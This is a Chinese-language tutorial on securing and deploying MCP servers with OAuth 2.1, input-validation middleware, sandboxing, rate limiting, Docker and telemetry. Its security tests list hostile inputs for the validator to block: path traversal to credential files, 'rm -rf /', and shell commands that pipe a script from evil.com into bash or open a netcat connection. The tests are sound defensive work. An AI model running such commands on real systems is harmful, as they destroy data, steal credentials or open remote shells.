MCP服务器安全加固：从OWASP Top 10到生产级部署全流程

MCP安全事件时间线（2025-2026）
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2025.03  MCP规范加入OAuth 2.1授权章节
2025.06  Streamable HTTP传输成为标准
2025.11  MCP规范2025-11-25版本发布
2026.01  MCP SDK月下载量达9700万次
2026.02  首批MCP专项CVE密集披露（30天内30个）
2026.03  OWASP MCP Top 10正式立项
2026.05  OWASP发布正式安全速查表
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

mindmap
  root((OWASP MCP Top 10))
    MCP01 工具投毒
      恶意工具描述注入
      供应链攻击
    MCP02 不安全工具执行
      缺少权限校验
      未限制文件系统访问
    MCP03 路径遍历
      目录穿越读取
      任意文件写入
    MCP04 提示注入
      间接注入通过资源
      工具返回值注入
    MCP05 凭据泄露
      硬编码密钥
      日志中的Token
    MCP06 不安全传输
      明文HTTP
      缺少TLS
    MCP07 过度权限
      工具权限过大
      缺少最小权限原则
    MCP08 会话劫持
      Session ID可预测
      缺少CSRF防护
    MCP09 拒绝服务
      无速率限制
      资源耗尽
    MCP10 不安全日志
      敏感数据记录
      审计链缺失

# ❌ 危险写法：直接拼接用户输入
@server.tool()
def read_file(path: str) -> str:
    with open(path) as f:  # 用户可以传入 ../../etc/passwd
        return f.read()

# ✅ 安全写法：限制在沙箱目录内
import os
from pathlib import Path

SANDBOX_DIR = Path("/data/sandbox").resolve()

def _validate_path(path: str) -> Path:
    """校验路径必须在沙箱目录内"""
    resolved = (SANDBOX_DIR / path).resolve()
    if not str(resolved).startswith(str(SANDBOX_DIR)):
        raise ValueError(f"路径越界: {path}")
    return resolved

@server.tool()
def read_file(path: str) -> str:
    safe_path = _validate_path(path)
    if not safe_path.is_file():
        raise FileNotFoundError(f"文件不存在: {path}")
    return safe_path.read_text(encoding="utf-8")

# ❌ 危险写法
import os
import logging

logger = logging.getLogger(__name__)

@server.tool()
def query_database(sql: str) -> dict:
    api_key = "sk-xxxx-hardcoded-key"  # 硬编码
    password = os.environ.get("DB_PASSWORD")
    logger.info(f"Connecting with password: {password}")  # 日志泄露
    # ...

# ✅ 安全写法：使用Secret抽象 + 日志脱敏
import os
from dataclasses import dataclass

@dataclass(frozen=True)
class Secret:
    """包装敏感值，防止意外打印"""
    _value: str

    @classmethod
    def from_env(cls, key: str) -> "Secret":
        value = os.environ.get(key)
        if not value:
            raise RuntimeError(f"环境变量 {key} 未设置")
        return cls(value)

    def reveal(self) -> str:
        return self._value

    def __repr__(self) -> str:
        return "Secret(***REDACTED***)"

# 使用
DB_PASSWORD = Secret.from_env("DB_PASSWORD")
print(DB_PASSWORD)  # Secret(***REDACTED***)

# FastMCP内置的速率限制中间件
from fastmcp.server.middleware.rate_limiting import RateLimitingMiddleware

# 令牌桶算法：每秒10个请求，最大突发20个
server.add_middleware(RateLimitingMiddleware(
    max_requests_per_second=10,
    max_burst=20
))

sequenceDiagram
    participant C as Claude Code<br/>(MCP Client)
    participant S as MCP Server<br/>(Resource Server)
    participant AS as Auth Server<br/>(Authorization Server)

    C->>S: 1. MCP Initialize
    S-->>C: 401 + WWW-Authenticate<br/>(Protected Resource Metadata URL)
    C->>S: 2. GET /.well-known/oauth-protected-resource
    S-->>C: {authorization_servers: [AS URL]}
    C->>AS: 3. GET /.well-known/oauth-authorization-server
    AS-->>C: {endpoints, scopes, code_challenge_methods}
    C->>AS: 4. POST /register (Dynamic Client Registration)
    AS-->>C: {client_id, client_secret}
    Note over C: 生成code_verifier + code_challenge<br/>(S256 PKCE)
    C->>AS: 5. GET /authorize?code_challenge=...
    AS-->>C: Login Page
    User->>AS: 6. 用户登录授权
    AS-->>C: 302 Redirect + authorization_code
    C->>AS: 7. POST /token (code + code_verifier)
    AS-->>C: {access_token, token_type, expires_in}
    C->>S: 8. MCP Request + Authorization: Bearer <token>
    S-->>C: 200 + MCP Response

pip install fastmcp authlib httpx uvicorn

secure-mcp-server/
├── server.py          # MCP服务器主文件
├── auth.py            # OAuth 2.1认证模块
├── config.py          # 配置管理
├── middleware.py       # 安全中间件
├── tests/
│   ├── test_auth.py
│   ├── test_tools.py
│   └── test_security.py
├── Dockerfile
├── docker-compose.yml
└── .env.example

from dataclasses import dataclass, field
from typing import Optional
import os

@dataclass
class SecurityConfig:
    """生产级安全配置"""
    # OAuth 2.1
    issuer_url: str = os.getenv("OAUTH_ISSUER", "https://auth.example.com")
    audience: str = os.getenv("OAUTH_AUDIENCE", "mcp://secure-server")

    # Token
    access_token_ttl: int = int(os.getenv("ACCESS_TOKEN_TTL", "3600"))
    refresh_token_ttl: int = int(os.getenv("REFRESH_TOKEN_TTL", "86400"))

    # CORS
    allowed_origins: list[str] = field(
        default_factory=lambda: os.getenv("CORS_ORIGINS", "http://localhost:3000").split(",")
    )

    # 速率限制
    rate_limit_rps: int = int(os.getenv("RATE_LIMIT_RPS", "10"))
    rate_limit_burst: int = int(os.getenv("RATE_LIMIT_BURST", "20"))

    # 沙箱
    sandbox_dir: str = os.getenv("SANDBOX_DIR", "/tmp/mcp-sandbox")

    # TLS
    tls_cert_path: Optional[str] = os.getenv("TLS_CERT_PATH")
    tls_key_path: Optional[str] = os.getenv("TLS_KEY_PATH")

config = SecurityConfig()

import hashlib
import base64
import secrets
import time
from typing import Optional
from dataclasses import dataclass, field
from authlib.jose import jwt
from authlib.jose.errors import JoseError
from config import config

@dataclass
class OAuthClient:
    """动态注册的OAuth客户端"""
    client_id: str
    client_secret: str
    redirect_uris: list[str]
    grant_types: list[str] = field(
        default_factory=lambda: ["authorization_code"]
    )
    created_at: float = field(default_factory=time.time)

@dataclass
class AuthCode:
    """授权码（一次性使用，短期有效）"""
    code: str
    client_id: str
    redirect_uri: str
    code_challenge: str
    code_challenge_method: str = "S256"
    scope: str = ""
    expires_at: float = 0
    used: bool = False

class InMemoryOAuthStore:
    """生产环境应替换为Redis/数据库"""

    def __init__(self):
        self.clients: dict[str, OAuthClient] = {}
        self.auth_codes: dict[str, AuthCode] = {}
        self._signing_key = secrets.token_bytes(32)

    def register_client(self, redirect_uris: list[str]) -> OAuthClient:
        client = OAuthClient(
            client_id=secrets.token_urlsafe(32),
            client_secret=secrets.token_urlsafe(48),
            redirect_uris=redirect_uris,
        )
        self.clients[client.client_id] = client
        return client

    def create_auth_code(
        self, client_id: str, redirect_uri: str,
        code_challenge: str, scope: str, ttl: int = 600
    ) -> str:
        code = secrets.token_urlsafe(32)
        self.auth_codes[code] = AuthCode(
            code=code,
            client_id=client_id,
            redirect_uri=redirect_uri,
            code_challenge=code_challenge,
            scope=scope,
            expires_at=time.time() + ttl,
        )
        return code

    def exchange_code(
        self, code: str, code_verifier: str, client_id: str
    ) -> Optional[str]:
        """用授权码+PKCE验证器换取access token"""
        ac = self.auth_codes.get(code)
        if not ac or ac.used or ac.expires_at < time.time():
            return None
        if ac.client_id != client_id:
            return None

        # PKCE验证
        expected = base64.urlsafe_b64encode(
            hashlib.sha256(code_verifier.encode()).digest()
        ).rstrip(b"=").decode()
        if expected != ac.code_challenge:
            return None

        ac.used = True
        return self._issue_token(ac.client_id, ac.scope)

    def _issue_token(self, client_id: str, scope: str) -> str:
        now = time.time()
        payload = {
            "iss": config.issuer_url,
            "aud": config.audience,
            "sub": client_id,
            "scope": scope,
            "iat": now,
            "exp": now + config.access_token_ttl,
            "jti": secrets.token_urlsafe(16),
        }
        return jwt.encode({"alg": "HS256"}, payload, self._signing_key).decode()

    def validate_token(self, token: str) -> Optional[dict]:
        try:
            claims = jwt.decode(token, self._signing_key)
            if claims["exp"] < time.time():
                return None
            return claims
        except (JoseError, KeyError):
            return None

# 全局实例
oauth_store = InMemoryOAuthStore()

import logging
import structlog
from fastmcp import FastMCP
from fastmcp.server.middleware.rate_limiting import RateLimitingMiddleware
from pathlib import Path

from auth import oauth_store
from config import config
from middleware import (
    AuthMiddleware, 
    InputValidationMiddleware,
    LoggingMiddleware,
    CORSMiddleware,
)

# ====== 结构化日志 ======
structlog.configure(
    processors=[
        structlog.contextvars.merge_contextvars,
        structlog.processors.add_log_level,
        structlog.processors.TimeStamper(fmt="iso"),
        structlog.processors.JSONRenderer(),  # 生产环境用JSON格式
    ],
    wrapper_class=structlog.BoundLogger,
    logger_factory=structlog.PrintLoggerFactory(),
)
logger = structlog.get_logger()

# ====== 创建MCP服务器 ======
server = FastMCP(
    name="secure-mcp-server",
    version="1.0.0",
)

# ====== 注册安全中间件（按顺序！）======
# 顺序很重要：外层先执行
server.add_middleware(CORSMiddleware(
    allowed_origins=config.allowed_origins
))
server.add_middleware(LoggingMiddleware(logger=logger))
server.add_middleware(RateLimitingMiddleware(
    max_requests_per_second=config.rate_limit_rps,
    max_burst=config.rate_limit_burst,
))
server.add_middleware(AuthMiddleware(oauth_store=oauth_store))
server.add_middleware(InputValidationMiddleware(
    sandbox_dir=config.sandbox_dir
))

# ====== 工具定义 ======
@server.tool()
def list_files(directory: str = ".") -> list[dict]:
    """列出沙箱目录内的文件（安全沙箱限制）"""
    base = Path(config.sandbox_dir).resolve()
    target = (base / directory).resolve()

    if not str(target).startswith(str(base)):
        raise PermissionError("路径越界，拒绝访问")

    if not target.is_dir():
        raise FileNotFoundError(f"目录不存在: {directory}")

    files = []
    for f in target.iterdir():
        files.append({
            "name": f.name,
            "type": "dir" if f.is_dir() else "file",
            "size": f.stat().st_size if f.is_file() else None,
        })
    return files

@server.tool()
def analyze_text(text: str) -> dict:
    """分析文本的基本统计信息"""
    if len(text) > 1_000_000:  # 1MB限制
        raise ValueError("文本过长，最大1MB")

    return {
        "char_count": len(text),
        "word_count": len(text.split()),
        "line_count": text.count("\n") + 1,
        "has_cjk": any("\u4e00" <= c <= "\u9fff" for c in text),
    }

if __name__ == "__main__":
    server.run(transport="streamable-http", host="0.0.0.0", port=8080)

import re
import time
import json
from typing import Optional, Callable, Any
from pathlib import Path
from dataclasses import dataclass
import structlog

from auth import InMemoryOAuthStore

# ====== 认证中间件 ======
class AuthMiddleware:
    """Bearer Token验证"""

    def __init__(self, oauth_store: InMemoryOAuthStore):
        self.oauth_store = oauth_store
        # 无需认证的路径
        self.public_paths = {
            "/.well-known/oauth-protected-resource",
            "/.well-known/oauth-authorization-server",
            "/health",
        }

    async def __call__(self, request: Any, call_next: Callable) -> Any:
        path = getattr(request, "url", {}).get("path", "")
        if path in self.public_paths:
            return await call_next(request)

        auth_header = getattr(request, "headers", {}).get("authorization", "")
        if not auth_header.startswith("Bearer "):
            return _unauthorized_response(
                error="invalid_token",
                description="缺少Bearer Token"
            )

        token = auth_header[7:]
        claims = self.oauth_store.validate_token(token)
        if not claims:
            return _unauthorized_response(
                error="invalid_token",
                description="Token无效或已过期"
            )

        # 将claims注入上下文供后续中间件和handler使用
        request.state = getattr(request, "state", {})
        request.state["auth_claims"] = claims

        return await call_next(request)


# ====== 输入校验中间件 ======
@dataclass
class InputValidationMiddleware:
    """输入校验与路径安全检查"""
    sandbox_dir: str

    # 危险模式检测
    DANGEROUS_PATTERNS = [
        r"\.\.",           # 路径遍历
        r"[<>|&;`$]",     # Shell注入字符
        r"\\x[0-9a-fA-F]{2}",  # 十六进制转义
    ]

    def _is_dangerous(self, value: str) -> bool:
        return any(
            re.search(p, value) 
            for p in self.DANGEROUS_PATTERNS
        )

    async def __call__(self, request: Any, call_next: Callable) -> Any:
        # 校验JSON-RPC请求体中的参数
        body = getattr(request, "body", None)
        if body:
            try:
                data = json.loads(body) if isinstance(body, str) else body
                params = data.get("params", {})
                self._validate_params(params)
            except (json.JSONDecodeError, ValueError) as e:
                return _error_response(-32600, str(e))

        return await call_next(request)

    def _validate_params(self, params: dict) -> None:
        for key, value in params.items():
            if isinstance(value, str) and self._is_dangerous(value):
                raise ValueError(f"参数 '{key}' 包含非法字符")


# ====== 结构化日志中间件 ======
class LoggingMiddleware:
    """请求/响应审计日志"""

    def __init__(self, logger: structlog.BoundLogger):
        self.logger = logger

    async def __call__(self, request: Any, call_next: Callable) -> Any:
        start = time.time()
        request_id = getattr(request, "headers", {}).get(
            "x-request-id", 
            f"req-{int(start*1000)}"
        )

        log = self.logger.bind(
            request_id=request_id,
            method=getattr(request, "method", "UNKNOWN"),
            path=getattr(request, "url", {}).get("path", "/"),
        )

        log.info("mcp_request_start")

        try:
            response = await call_next(request)
            duration_ms = (time.time() - start) * 1000
            log.info("mcp_request_end", 
                     duration_ms=round(duration_ms, 2),
                     status="success")
            return response
        except Exception as e:
            duration_ms = (time.time() - start) * 1000
            log.error("mcp_request_error",
                      duration_ms=round(duration_ms, 2),
                      error=str(e),
                      error_type=type(e).__name__)
            raise


# ====== CORS中间件 ======
class CORSMiddleware:
    def __init__(self, allowed_origins: list[str]):
        self.allowed_origins = allowed_origins

    async def __call__(self, request: Any, call_next: Callable) -> Any:
        # 处理预检请求
        if getattr(request, "method", "") == "OPTIONS":
            return _cors_preflight_response(self.allowed_origins)

        response = await call_next(request)
        origin = getattr(request, "headers", {}).get("origin", "")
        if origin in self.allowed_origins:
            # 注入CORS头
            pass
        return response


# ====== 辅助函数 ======
def _unauthorized_response(error: str, description: str) -> dict:
    return {
        "statusCode": 401,
        "headers": {
            "WWW-Authenticate": (
                f'Bearer error="{error}", '
                f'error_description="{description}"'
            )
        },
        "body": json.dumps({"error": error, "error_description": description})
    }

def _error_response(code: int, message: str) -> dict:
    return {
        "statusCode": 400,
        "body": json.dumps({
            "jsonrpc": "2.0",
            "error": {"code": code, "message": message},
            "id": None,
        })
    }

def _cors_preflight_response(origins: list[str]) -> dict:
    return {
        "statusCode": 204,
        "headers": {
            "Access-Control-Allow-Origin": origins[0] if origins else "*",
            "Access-Control-Allow-Methods": "POST, GET, OPTIONS",
            "Access-Control-Allow-Headers": "Authorization, Content-Type",
            "Access-Control-Max-Age": "86400",
        }
    }

# 添加到server.py中
from fastmcp import FastMCP

# 元数据端点在Streamable HTTP传输中自动提供
# 但你可以自定义：
PROTECTED_RESOURCE_METADATA = {
    "resource": "https://api.example.com/mcp",
    "authorization_servers": [
        "https://auth.example.com"
    ],
    "scopes_supported": ["read", "write", "admin"],
    "bearer_methods_supported": ["header"],
}

AUTH_SERVER_METADATA = {
    "issuer": "https://auth.example.com",
    "authorization_endpoint": "https://auth.example.com/authorize",
    "token_endpoint": "https://auth.example.com/token",
    "registration_endpoint": "https://auth.example.com/register",
    "response_types_supported": ["code"],
    "code_challenge_methods_supported": ["S256"],
    "grant_types_supported": ["authorization_code"],
    "token_endpoint_auth_methods_supported": ["none"],  # 公共客户端
    "scopes_supported": ["read", "write", "admin"],
}

graph TB
    subgraph "第一层：单元测试"
        U1[test_auth.py<br/>Token签发/验证]
        U2[test_tools.py<br/>工具输入校验]
        U3[test_security.py<br/>路径遍历/注入]
    end

    subgraph "第二层：集成测试"
        I1[MCP Inspector<br/>交互式调试]
        I2[pytest + FastMCP Client<br/>端到端工具调用]
    end

    subgraph "第三层：安全测试"
        S1[OWASP ZAP<br/>自动化漏洞扫描]
        S2[自定义Fuzzer<br/>参数变异测试]
    end

    U1 --> I1
    U2 --> I2
    U3 --> S1
    I1 --> S1
    I2 --> S2

    style U1 fill:#4CAF50,color:white
    style U2 fill:#4CAF50,color:white
    style U3 fill:#4CAF50,color:white
    style I1 fill:#2196F3,color:white
    style I2 fill:#2196F3,color:white
    style S1 fill:#f44336,color:white
    style S2 fill:#f44336,color:white

# tests/test_auth.py
import pytest
import time
import hashlib
import base64
from auth import InMemoryOAuthStore

@pytest.fixture
def store():
    return InMemoryOAuthStore()

@pytest.fixture
def registered_client(store):
    return store.register_client(redirect_uris=["http://localhost:3000/callback"])

def _make_code_verifier():
    """模拟PKCE code_verifier"""
    import secrets
    return secrets.token_urlsafe(32)

def _make_code_challenge(verifier: str) -> str:
    """S256 code_challenge"""
    digest = hashlib.sha256(verifier.encode()).digest()
    return base64.urlsafe_b64encode(digest).rstrip(b"=").decode()

class TestOAuthFlow:

    def test_register_client(self, store):
        client = store.register_client(
            redirect_uris=["http://localhost:3000/callback"]
        )
        assert client.client_id
        assert client.client_secret
        assert len(client.client_id) >= 32

    def test_issue_and_validate_token(self, store, registered_client):
        token = store._issue_token(registered_client.client_id, "read write")
        claims = store.validate_token(token)
        assert claims is not None
        assert claims["sub"] == registered_client.client_id
        assert "read" in claims["scope"]

    def test_expired_token_rejected(self, store, registered_client):
        # 签发一个立即过期的token
        old_ttl = store.access_token_ttl
        token = store._issue_token(registered_client.client_id, "read")
        # 修改过期时间为过去
        # （生产环境应注入时间mock）

    def test_pkce_exchange_success(self, store, registered_client):
        verifier = _make_code_verifier()
        challenge = _make_code_challenge(verifier)

        code = store.create_auth_code(
            client_id=registered_client.client_id,
            redirect_uri="http://localhost:3000/callback",
            code_challenge=challenge,
            scope="read",
        )

        token = store.exchange_code(
            code=code,
            code_verifier=verifier,
            client_id=registered_client.client_id,
        )
        assert token is not None

    def test_pkce_wrong_verifier_rejected(self, store, registered_client):
        verifier = _make_code_verifier()
        challenge = _make_code_challenge(verifier)

        code = store.create_auth_code(
            client_id=registered_client.client_id,
            redirect_uri="http://localhost:3000/callback",
            code_challenge=challenge,
            scope="read",
        )

        # 使用错误的verifier
        token = store.exchange_code(
            code=code,
            code_verifier="wrong-verifier-value",
            client_id=registered_client.client_id,
        )
        assert token is None

    def test_auth_code_single_use(self, store, registered_client):
        verifier = _make_code_verifier()
        challenge = _make_code_challenge(verifier)

        code = store.create_auth_code(
            client_id=registered_client.client_id,
            redirect_uri="http://localhost:3000/callback",
            code_challenge=challenge,
            scope="read",
        )

        # 第一次使用成功
        token1 = store.exchange_code(code, verifier, registered_client.client_id)
        assert token1 is not None

        # 第二次使用失败（一次性）
        token2 = store.exchange_code(code, verifier, registered_client.client_id)
        assert token2 is None

# tests/test_security.py
import pytest
from pathlib import Path
from middleware import InputValidationMiddleware

@pytest.fixture
def validator():
    return InputValidationMiddleware(sandbox_dir="/tmp/mcp-sandbox")

class TestPathTraversal:

    @pytest.mark.parametrize("malicious_path", [
        "../../etc/passwd",
        "../../../root/.ssh/id_rsa",
        "..\\..\\windows\\system32\\config\\sam",
        "/etc/shadow",
        "data/../../../etc/passwd",
    ])
    def test_path_traversal_blocked(self, malicious_path):
        from config import config
        from server import _validate_path  # 假设提取为独立函数

        with pytest.raises(ValueError, match="路径越界"):
            _validate_path(malicious_path)

    def test_normal_path_allowed(self):
        from server import _validate_path
        result = _validate_path("documents/report.txt")
        assert str(result).startswith("/tmp/mcp-sandbox")

class TestInputValidation:

    @pytest.mark.parametrize("dangerous_input", [
        "test; rm -rf /",
        "$(cat /etc/passwd)",
        "`curl evil.com/shell.sh | bash`",
        "test\x00.txt",  # null byte
        "test|nc evil.com 4444",
    ])
    def test_shell_injection_blocked(self, validator, dangerous_input):
        with pytest.raises(ValueError, match="非法字符"):
            validator._validate_params({"input": dangerous_input})

    def test_normal_input_allowed(self, validator):
        # 正常输入不应触发校验失败
        validator._validate_params({"text": "Hello, World! 你好世界"})

# 安装并启动Inspector
npx @modelcontextprotocol/inspector

# 或指定连接远程服务器
npx @modelcontextprotocol/inspector \
  --url https://api.example.com/mcp

# tests/test_integration.py
import pytest
from fastmcp import Client

@pytest.mark.asyncio
async def test_full_workflow():
    """集成测试：认证 -> 调用工具 -> 验证结果"""
    async with Client("http://localhost:8080/mcp") as client:
        # 列出可用工具
        tools = await client.list_tools()
        tool_names = [t.name for t in tools]
        assert "list_files" in tool_names
        assert "analyze_text" in tool_names

        # 调用工具
        result = await client.call_tool("analyze_text", {
            "text": "Hello MCP Security 你好安全"
        })
        assert result["char_count"] > 0
        assert result["has_cjk"] is True

# ---- 构建阶段 ----
FROM python:3.12-slim AS builder

WORKDIR /build

COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install \
    fastmcp>=1.27.0 \
    authlib>=1.3.0 \
    httpx>=0.27.0 \
    uvicorn>=0.30.0 \
    structlog>=24.0.0

# ---- 运行阶段 ----
FROM python:3.12-slim AS runtime

# 安全加固
RUN groupadd -r mcp && useradd -r -g mcp -d /home/mcp -s /sbin/nologin mcp

# 只复制构建产物
COPY --from=builder /install /usr/local

WORKDIR /app
COPY --chown=mcp:mcp . .

# 创建沙箱目录
RUN mkdir -p /data/sandbox && chown mcp:mcp /data/sandbox

# 切换到非root用户
USER mcp

# 健康检查
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
    CMD ["python", "-c", "import httpx; httpx.get('http://localhost:8080/health')"] or exit 1

EXPOSE 8080

# 不硬编码任何密钥，全部通过环境变量注入
ENV MCP_HOST=0.0.0.0 \
    MCP_PORT=8080 \
    SANDBOX_DIR=/data/sandbox \
    PYTHONUNBUFFERED=1

CMD ["python", "server.py"]

# docker-compose.yml
version: "3.9"

services:
  mcp-server:
    build: .
    ports:
      - "8080:8080"
    environment:
      - OAUTH_ISSUER=https://auth.example.com
      - OAUTH_AUDIENCE=mcp://secure-server
      - ACCESS_TOKEN_TTL=3600
      - RATE_LIMIT_RPS=10
      - RATE_LIMIT_BURST=20
      - SANDBOX_DIR=/data/sandbox
      - CORS_ORIGINS=https://claude.ai,http://localhost:3000
    env_file:
      - .env  # 敏感配置放这里
    volumes:
      - sandbox-data:/data/sandbox
    restart: unless-stopped
    deploy:
      resources:
        limits:
          cpus: "2.0"
          memory: 512M
        reservations:
          cpus: "0.5"
          memory: 128M
    networks:
      - mcp-net
    labels:
      # Prometheus监控标签
      - "prometheus.scrape=true"
      - "prometheus.port=8080"
      - "prometheus.path=/metrics"

  # 可选：独立的OAuth授权服务器
  auth-server:
    image: authelia/authelia:latest
    volumes:
      - ./auth-config:/config
    networks:
      - mcp-net

volumes:
  sandbox-data:
    driver: local

networks:
  mcp-net:
    driver: bridge
    internal: false

# 安装flyctl
curl -L https://fly.io/install.sh | sh

# 初始化
fly launch --name my-mcp-server --region sin

# 设置密钥
fly secrets set \
  OAUTH_ISSUER=https://auth.example.com \
  OAUTH_AUDIENCE=mcp://my-mcp-server

# 部署
fly deploy

# 获取公网地址
fly info
# => https://my-mcp-server.fly.dev

# 构建并推送
gcloud builds submit --tag gcr.io/PROJECT_ID/mcp-server

# 部署
gcloud run deploy mcp-server \
  --image gcr.io/PROJECT_ID/mcp-server \
  --region asia-east1 \
  --set-env-vars "OAUTH_ISSUER=https://auth.example.com" \
  --set-secrets "DB_PASSWORD=mcp-db-password:latest" \
  --memory 512Mi \
  --cpu 2 \
  --max-instances 10 \
  --allow-unauthenticated

pip install opentelemetry-api opentelemetry-sdk \
    opentelemetry-instrumentation-fastapi \
    opentelemetry-exporter-otlp

# observability.py
from opentelemetry import trace, metrics
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import BatchSpanProcessor
from opentelemetry.sdk.metrics import MeterProvider
from opentelemetry.exporter.otlp.proto.grpc.trace_exporter import (
    OTLPSpanExporter,
)

def setup_telemetry(service_name: str = "secure-mcp-server"):
    """初始化OpenTelemetry"""

    # Traces
    tracer_provider = TracerProvider()
    tracer_provider.add_span_processor(
        BatchSpanProcessor(
            OTLPSpanExporter(
                endpoint="http://otel-collector:4317",
                insecure=True,
            )
        )
    )
    trace.set_tracer_provider(tracer_provider)

    # Metrics
    meter_provider = MeterProvider()
    metrics.set_meter_provider(meter_provider)

    # 自定义指标
    meter = metrics.get_meter(service_name)
    request_counter = meter.create_counter(
        name="mcp.tool.requests",
        description="MCP tool invocation count",
        unit="1",
    )
    request_duration = meter.create_histogram(
        name="mcp.tool.duration",
        description="MCP tool execution duration",
        unit="ms",
    )

    return {
        "tracer": trace.get_tracer(service_name),
        "request_counter": request_counter,
        "request_duration": request_duration,
    }

from observability import setup_telemetry

telemetry = setup_telemetry()

@server.tool()
def list_files(directory: str = ".") -> list[dict]:
    """列出沙箱目录内的文件"""
    tracer = telemetry["tracer"]

    with tracer.start_as_current_span("list_files") as span:
        span.set_attribute("directory", directory)
        span.set_attribute("sandbox_dir", config.sandbox_dir)

        try:
            base = Path(config.sandbox_dir).resolve()
            target = (base / directory).resolve()

            if not str(target).startswith(str(base)):
                span.set_attribute("error", "path_traversal_attempt")
                span.set_status(trace.StatusCode.ERROR, "路径越界")
                raise PermissionError("路径越界，拒绝访问")

            files = [
                {
                    "name": f.name,
                    "type": "dir" if f.is_dir() else "file",
                    "size": f.stat().st_size if f.is_file() else None,
                }
                for f in target.iterdir()
            ]

            span.set_attribute("file_count", len(files))
            telemetry["request_counter"].add(1, {"tool": "list_files", "status": "success"})
            return files

        except Exception as e:
            telemetry["request_counter"].add(1, {"tool": "list_files", "status": "error"})
            raise

{
  "mcpServers": {
    "secure-server": {
      "url": "https://api.example.com/mcp",
      "headers": {
        "Authorization": "Bearer ${MCP_ACCESS_TOKEN}"
      }
    }
  }
}

{
  "mcpServers": {
    "secure-server": {
      "url": "https://api.example.com/mcp"
    }
  }
}

graph LR
    A[部署前安全检查] --> B{认证}
    A --> C{传输}
    A --> D{输入}
    A --> E{运行时}
    A --> F{运维}

    B --> B1[OAuth 2.1 + PKCE]
    B --> B2[Token有TTL和吊销机制]
    B --> B3[动态客户端注册]

    C --> C1[全链路TLS 1.3]
    C --> C2[HSTS头]
    C --> C3[无明文HTTP回退]

    D --> D1[路径遍历防护]
    D --> D2[Shell注入过滤]
    D --> D3[输入长度限制]

    E --> E1[速率限制]
    E --> E2[非root用户运行]
    E --> E3[沙箱文件隔离]

    F --> F1[结构化日志+脱敏]
    F --> F2[OpenTelemetry接入]
    F --> F3[健康检查端点]

    style B1 fill:#4CAF50,color:white
    style C1 fill:#4CAF50,color:white
    style D1 fill:#4CAF50,color:white
    style E1 fill:#4CAF50,color:white
    style F1 fill:#4CAF50,color:white

flowchart TB
    subgraph 开发阶段
        A[定义Tool Schema] --> B[实现业务逻辑]
        B --> C[添加输入校验]
        C --> D[编写单元测试]
    end

    subgraph 安全加固
        D --> E[实现OAuth 2.1]
        E --> F[配置安全中间件]
        F --> G[路径沙箱隔离]
        G --> H[速率限制]
    end

    subgraph 测试验证
        H --> I[MCP Inspector调试]
        I --> J[集成测试]
        J --> K[OWASP ZAP扫描]
    end

    subgraph 部署上线
        K --> L[Docker容器化]
        L --> M[云平台部署]
        M --> N[DNS + TLS配置]
        N --> O[Claude Code连接测试]
    end

    subgraph 生产运维
        O --> P[OpenTelemetry监控]
        P --> Q[日志审计]
        Q --> R[定期安全审查]
    end

    style A fill:#E3F2FD
    style E fill:#FFF3E0
    style I fill:#E8F5E9
    style L fill:#FCE4EC
    style P fill:#F3E5F5